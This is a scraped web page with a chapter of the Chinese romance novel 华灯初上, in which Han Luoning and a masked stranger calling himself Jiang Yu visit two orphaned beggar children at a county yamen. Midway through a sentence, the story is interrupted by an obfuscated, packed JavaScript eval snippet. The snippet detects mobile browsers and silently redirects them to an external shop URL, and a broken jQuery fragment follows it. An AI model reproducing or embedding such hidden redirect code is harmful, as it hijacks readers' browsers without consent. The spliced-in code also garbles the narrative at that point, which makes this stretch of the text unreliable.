文趣网 > 其他小说 > 华灯初上 > 4. 似暖阳
    这会儿未到饭点,楼下还没有什么客人,整个客栈都安安静静的,只有几个小伙计正在忙活,老旧的木桌上摆好了茶水,桌面被擦拭得蹭亮蹭亮的。

    韩落宁静静立在客房门外,垂着手安静等候。

    虽说这家客栈看着朴朴素素的,门墙却意外的结实,她完全听不清里面的人有什么动静。

    韩落宁稍微往门口靠近了一些。

    “吱呀”一声,木门被人向外推开,她被吓了一跳,连忙往后退了半步。

    江烨缓步踏出房门,一身墨色窄袖长袍,料子虽不张扬,却衬得他整个人身形挺拔修长。

    韩落宁下意识地抬眼望去,他脸上依旧戴着那副面具,却丝毫不掩周身的贵气,与这间简朴的客栈格格不入。

    她目光灼灼,直直落在他身上,一时忘了言语。

    “韩姑娘,带路吧。”江烨与她对视,温声提醒。

    “噢……噢!”韩落宁连忙转身,先行一步走向楼梯,为他引路。

    江烨见状,步履沉稳地跟在她身后。

    韩落宁并不是个能闲下来的主,她一步一回头,扯着他同自己闲聊:“对了,我叫韩落宁,还不知道你叫什么呢。”

    “我姓江。”

    “啊?江?”韩落宁停下了脚步,她隐约记得“江”是皇姓,别不是遇见了哪个落难的皇子了吧?

    她转身看向江烨,眼神里多了几分探究的意味。

    “姜汤的姜。”男人再次开口,语速不疾不徐,“我叫姜昱。”

    见他语气从容,韩落宁也没再怀疑,转而侃侃而谈:“《说文》有云:昱,明日也。你的名字寓意很好啊。”

    “姜昱”不置可否,只是默默跟上她,不动声色地走在了她的旁边。

    “我的名字寓意也不错的,”韩落宁手中甩着捆实了的糕点,语气颇为自豪,她笑言,“这是我娘给我起的,她希望我能平平安安地降生。”

    “说起来,这个名字还真的挺保佑我的,我活了十几年,一直无病无灾的,长辈们也都很照顾我。”

    韩落宁笑得纯粹又鲜活,浅浅的梨涡陷在颊边,暖意顺着眉眼漫开,像极了春日里的暖阳。

    她又倒着走在他的前面,眉眼弯弯的,眼底藏着几分俏皮,神秘兮兮地说:“我还有个小名,不过我不能告诉你。”

    韩落宁只顾着和他说话,全然没留意身后的动静,脚步往后退着。

    “小心!”

    “姜昱”眼疾手快地伸出手抓住她的手腕,又顺势一把拉住了她。

    她被这突如其来的举动吓到了,身子往后一个踉跄,还是被从旁路过的推车撞到了,直接撞进了他怀里。

    两人相撞的力道猛了些,“姜昱”面上覆着的玄铁面具猛地滑落半截,韩落宁连忙侧身一步,用一只手捂住眼睛,然后用剩下的那一只手胡乱地帮他扶住将掉未掉的面具。

    “我什么都没看见!”韩落宁听见自己略微慌乱的声音。

    好奇心害死猫,韩落宁在心里默念。

    虽然她觉得对方是个好人,但毕竟知人知面不知心,万一触碰到对方的逆鳞,她的小命可能就不保了。

    “姜昱”看着她下意识的举动,觉得有些好笑,忍不住思考初见的那天晚上自己到底是有多吓人,都给这小姑娘下出阴影来了。

    他抬手轻轻拨开她悬在面具旁的手,慢条斯理将滑落的面具推回了原位。

    待动作落定,他声音带着几分淡淡的笑意,轻声喊她:“韩姑娘,可以睁眼了。”

    听见他的声音,韩落宁才敢睁开眼睛,她张了张嘴巴,本想说些什么,突然听见身后有声音传来。

    “小姑娘走路不看道,光顾着跟郎君打情骂俏了,是我这酒车挡道咯!”

    韩落宁闻言,立刻转身欲要解释,却注意到了满地的碎瓷和流淌了一地的酒液。

    她又看向那推酒车的老翁,他的脸上并无愠色,反而还一副乐呵呵的看戏模样。

    她有些无语地闭上了眼睛。

    反倒是“姜昱”率先上前,半步挡在她身前,对着老翁微微颔首,语气沉稳有礼:“老人家,实在对不住了,打碎了您的酒坛,您勿要怪罪,我们照价赔偿。但我二人如今尚有要事在身,我再出一倍的酒钱给您,如何?”

    “无妨。”老翁摆了摆手,没有在追究下去的意思。

    “多谢了。”

    “姜昱”塞给老翁一锭银子,然后拉着韩落宁走了。

    ……

    韩落宁就这么一路被“姜昱”拉到了县衙门口。

    嗯?怎么回事?他不是不认识路吗?

    “你怎么知道怎么走啊?我以为你不是华县本地人呢。”韩落宁开口问道。

    “之前路过。”他回答。

    韩落宁也没深究他这话是真的还是假的,只是微微点头。

    “韩姑娘?”门口值守的衙役认出了她,“你怎么过来了?是来找韩大人的吗?”

    “你们……”那衙役朝他们走进了些,目光落在“姜昱”抓着韩落宁的那只手,一时欲言又止。

    韩落宁顺着他的目光看去,连忙抽回了手。“姜昱”见状,同步将手背在了身后。

    “不是,我来看那两个孩子的,你先去同我爹通报一声吧。”韩落宁轻咳一声,朝小衙役解释。

    “好的。”

    那小衙役二话不说就往里冲了,没多久又回来了,他朝两人说:“你们同我来吧。”

    二人对视一眼,默默跟上他的脚步,穿过县衙正门,避开人来人往的公堂,拐进西侧僻静些的后院,走到一间低矮的耳房门前。

    衙役抬手推开木门,阳光透进来,屋内极其简陋,靠里侧有一张用旧木板拼凑成的简易木床,上面铺着缝着补丁的旧被褥,床边摆着一张满是划痕的老旧木桌,桌上还搁着两只盛着水的粗瓷碗。

    两个乞儿听见推门声响,齐齐抬头,慌慌张张地往墙根挤了挤,浑身上下满是怯生生的不安。

    小衙役侧身让出进门的路,压低声音在韩落宁耳边说道:“县衙里人多眼杂的,根本没什么空地,这间耳房也是好不容易才收拾出来的,平时也没空管这两个孩子,只有饭点的时候大伙儿就轮着送个饭。”

    韩落宁听他小声说着,并不作声。

    她的目光落在两个单薄瘦小的孩子身上,他们的身上是略微宽松的旧衣,小脸泛黄,她的心口顿时揪了起来,眉眼间满是心疼。

    “连件合身的衣服都没有啊。”她小声嘟囔着。

    说者无心,听者有意,韩落宁并无怪罪谁的

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17766255|209702||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    意思,只是发自肺腑的感慨,但到了小衙役的耳朵里又是另一回事了。

    他没忍住地诉苦:“大伙儿都挺不容易的,俸禄也没多少,还有父母婆娘要养,这两个孩子身上穿的还是刘大哥他娘收着他小时候的。”

    “这样下去也不是个办法啊!”小衙役又在她身后叹了口气。

    每个人都有每个人的难处,韩落宁并没有因为被误会了就去反驳他,只是同他说:“你先去忙你的吧,我在这儿看一会儿。”

    待小衙役走远之后,韩落宁和“姜昱”很默契的谁也没有说话,只是静静地站在门口,就看着那两个孩子一点点从墙角挪出来,两双乌溜溜的眼睛小心翼翼的打量着站在阳光下的男女二人。

    那两个孩子似乎是认出了“姜昱”,两个小不点对视一眼,互相壮了壮胆,慢吞吞又往前挪了几步,离他们近了不少。

    大一些的小子应该是哥哥,明明自己也在发抖,依旧默不作声地将小丫头护在身后。

    “你是……你是那晚救我们的哥哥吗?”小丫头脸上还沾着灰,她躲在后面,大着胆子问“姜昱”。

    “姜昱”还没开口回答,韩落宁先有了疑问,她转头看他:“他们不是被迷晕了吗?”

    “别人我不知道,这两小孩儿是装的。”他话是回答的韩落宁,眼睛却看着那个小子。

    还挺机灵。

    韩落宁点点头,率先往里走去,她也不嫌周遭环境的简陋,拉过一张椅子就坐下,又把拎了一路的糕点搁在桌上,自顾自地打开吃了起来。

    云娘的手艺真得好,糕点做得又好吃又好看,香味还能飘几里。

    小丫头忍不住凑过去,那糕点看着令人垂涎欲滴。

    “你想吃吗?”韩落宁偏过头问她。

    小丫头咽了咽口水,小猫似的点头伸出了手。

    “小六。”她哥哥没再盯着“姜昱”,转而拍了下她的手制止她。

    “小六?”韩落宁的视线在两人身上逡巡,最后落在哥哥身上,“噗嗤”笑了一声,故意逗他,“你是她哥哥吗?你不会叫小五吧?”

    小五“哼”了一声,一不小心忘了害怕,就这样直直地瞪着她。

    “哥哥,好香啊。”小六用小手捂着嘴巴,凑在他耳边说起了悄悄话。

    韩落宁假装自己没听见,继续吃着手中那块还没有吃完的糕点。

    “姜昱”走到她身边坐下,问她接下来的打算:“接下来你打算怎么做?”

    不知为何,他觉得她心中应该有几分成算。

    “这两个小孩儿还挺有趣的。”韩落宁是铁了心要看戏的样子,并不回答他。

    她本来想问他要不要吃茯苓糕的,看见了他的面具又把话咽了下去,她开口问了一直想问的问题:“你为什么要戴面具啊?”

    “……”

    “姜昱”没料到她会问这个,顿了顿才说:“我脸上有一块很大的疤。”

    他停顿了一下,像是怕她要看,又补充道:“烧伤,很吓人。”

    “啊?那你当时一定很痛吧?”

    他也没料到韩落宁会这么说。

    “但是你的眼睛很漂亮。”

    她好像是在安慰他,笑意在眼中化开,似春日拂过枝头的暖风,只消一眼,就是万年。